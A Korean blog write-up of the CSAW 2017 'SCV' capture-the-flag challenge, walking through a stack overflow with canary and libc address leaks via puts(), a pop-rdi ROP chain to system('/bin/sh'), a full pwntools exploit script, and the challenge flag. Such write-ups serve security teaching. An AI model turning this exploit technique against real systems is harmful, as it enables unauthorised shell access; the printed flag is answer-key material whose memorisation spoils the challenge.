Write-up

[CSAW 2017] SCV writeup

ch4rli3kop 2017. 12. 27. 03:28
반응형

64bit ELF 파일과 해당 실행파일에서 사용되는 라이브러리가 주어졌다.

먼저 실행파일을 분석해보면, 선택지 리스트를 출력하고 선택된 작업을 수행하는, 반복 구조임을 알 수 있다.

 

보호 기법은 CanaryNX(no execute)가 걸려있다.

 

- 메모리 보호 기법 확인


 

IDA로 확인해보면, 역시 while 문으로 반복 구조를 가지고 있고, switch-case문으로 선택된 작업을수행하는 것을 알 수 있다. 사용되는 함수도 몇 개 없지만, 특히 눈에 띄는 함수는 read() 함수와 puts() 함수이다.

 

read() 함수는 사용자의 입력이 이루어 질 수 있는 함수인 만큼 Buffer overflow와같은 취약점이 발생할 수 있고, puts() 함수는 널문자(‘\x00’)를 만나기 전까지의 값들을 출력하는 취약점을 가지고 있어, 메모리 릭을 노려볼 수 있다.

 

코드 상에서는 다음과 같이 사용되었다.

 

- read() 함수

- puts() 함수

먼저 이 문제에서 read() 함수에 대해서 살펴보면, 사용자의 입력이 저장되는 변수인 buf의 공간이 rbp-0xb0 에 위치해 있는 것에 비해, read(0, &buf, 0xf8)0xf8 바이트의 입력을 할 수 있으므로 버퍼 오버플로우 공격이 가능하다.

 


이 문제를 익스플로잇(exploit)하기 위한 페이로드(payload)를 구상해본다면, 사용자의 입력으로 buf부터 ret까지 사용자의 입력을 받아 덮어버리는데( 물론 canary를 우회하기 위하여 canary 위치에 알맞는 canary 값을 덮어씌워야 할 것이다. ) 이때 ret에 특정 가젯( pop rdi ; ret )을 덮고, 그 뒤를 인자가 될 “/bin/sh”가 있는 주소와 system() 함수의 주소로 덮는다면, 프레임이 종료되려 할 때 프로세스의 실행 흐름이 바뀌어 system(“/bin/sh”)가 수행될 것이다.

 

따라서 덮어씌울 내용은 다음과 같다.

dummy1 + canary + dummy2 + gadget_address(pop rdi; ret) + binsh_address + system_address



이제, 필요한 구성요소들을 구해야 할 차례이다. dummy의 크기를 구하고, canary 값을 구하고 pop rdi; ret 가 있는 가젯의 주소 값과 라이브러리 안의 함수의 주소 값들을 구하면 된다.

 

먼저 dummy의 크기와 canary의 위치를 구하도록 하자



- canary 위치


Canary는 보이는 바와 같이 rbp – 0x8 에 위치하고 있다. 이를 스택 상에서 보면 다음과 같다. while 문의 적당한 위치에 break point를 걸고 feed로 AAAAA를 준 상황이다.


- stack 공간 1


빨간 부분이 canary 이고, 파란 부분은 필요 없는 공간이다. 따라서 dummy1의 크기는 0xa8 바이트이고 dummy2의 크기는 0x8 바이트이다

canary 값은 입력 주소로부터 0xa8 byte 떨어진 공간에 위치하고 있지만, canary의 맨 마지막 바이트는 '\x00'이므로 한 바이트만큼 더 덮어야(0xa9 byte만큼) puts()함수를 통해 canary 값을 구할 수 있다.


 

다음으로 (pop rdi ; ret) gadget의 주소를 구해보도록 하자. ROPgadget이라는 도구를 사용하면 편하게 구할 수 있다.


- ROPgadget 사용



마지막으로 라이브러리의 주소를 구해야 하는데, 문제의 서버에서는 당연히 ASLR이 사용 중일 것이므로 라이브러리의 주소 값이 상시 변할 것이다. 이번에도 역시 메모리 릭을 통하여 라이브러리의 주소 값을 알아내야 하는데, 맨 처음 AAAAA를 feed로 주면 스택 공간에서 꾸준하게 관찰되는 라이브러리의 주소가 있다.

- libc base구하기 1


- libc base 구하기 2


사용자의 입력 값이 저장되는 buf 의 시작위치로부터 40 bytes 만큼 떨어져 있는 곳에 있는 주소는 libc 영역 안에 존재함을 분명하게 알 수 있다. 이 위치에 있는 주소 값은 프로그램을 실행할 때마다 다르겠지만, 이 오프셋(이 라이브러리의 시작 위치로부터의 이 함수의 시작 위치, 차이 값) 값은 여전할 것이다. 따라서 이 값에서 오프셋만큼 빼면 라이브러리의 시작 주소를 구할 수 있다.


- libc base 구하기 3


매번 입력 값으로 40 바이트만큼 덮어씌운뒤, puts() 함수를 이용하여 구한 값에서 0x35be9 만큼을 빼면 libc의 시작 주소 값을 구할 수 있다. 이 libc 안에 있는 /bin/sh와 system() 함수도 시작 주소로부터 일정한 거리에 있기 때문에, 구한 libc base로 부터 해당 오프셋만큼 더해주면 /bin/sh와 system() 함수의 주소도 알아낼 수 있다.


- /bin/sh 오프셋 구하기


- system() 함수 오프셋 구하기





 최종 익스플로잇은 다음과 같다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
 
r=process('./scv')
#r=remote('pwn.chal.csaw.io',3764)
 
def rr():
    r.recvuntil('>>')
 
def feed(cont):
    rr()
    r.sendline('1')
    rr()
    r.send(cont)
 
def review():
    rr()
    r.sendline('2')
 
############# library leak #################
feed('A'*40)
review()
r.recvuntil('A'*40)
 
libc_leak=u64(r.recv(6).ljust(8,'\x00'))
libc_base=libc_leak - 0x35be9
 
system_address = libc_base + 0x3f480
binsh_address = libc_base + 0x1619b9
 
r.success('libc_base = ' + hex(libc_base))
r.success('system address = ' + hex(system_address))
r.success('/bin/sh address = ' + hex(binsh_address))
 
############## Canary found #################
feed('A'*0xa9)
review()
r.recvuntil('A'*0xa9)
canary=u64('\x00'+r.recv(7))
r.success('canary = ' + hex(canary))
 
poprdi=0x0000000000400ea3
 
############## Payload ######################
feed("A"*0xa8 + p64(canary) + 'B'*8 + p64(poprdi)+p64(binsh_address) + p64(system_address))
rr()
r.sendline('3')
 
r.interactive()
cs



flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h1m_we11}


반응형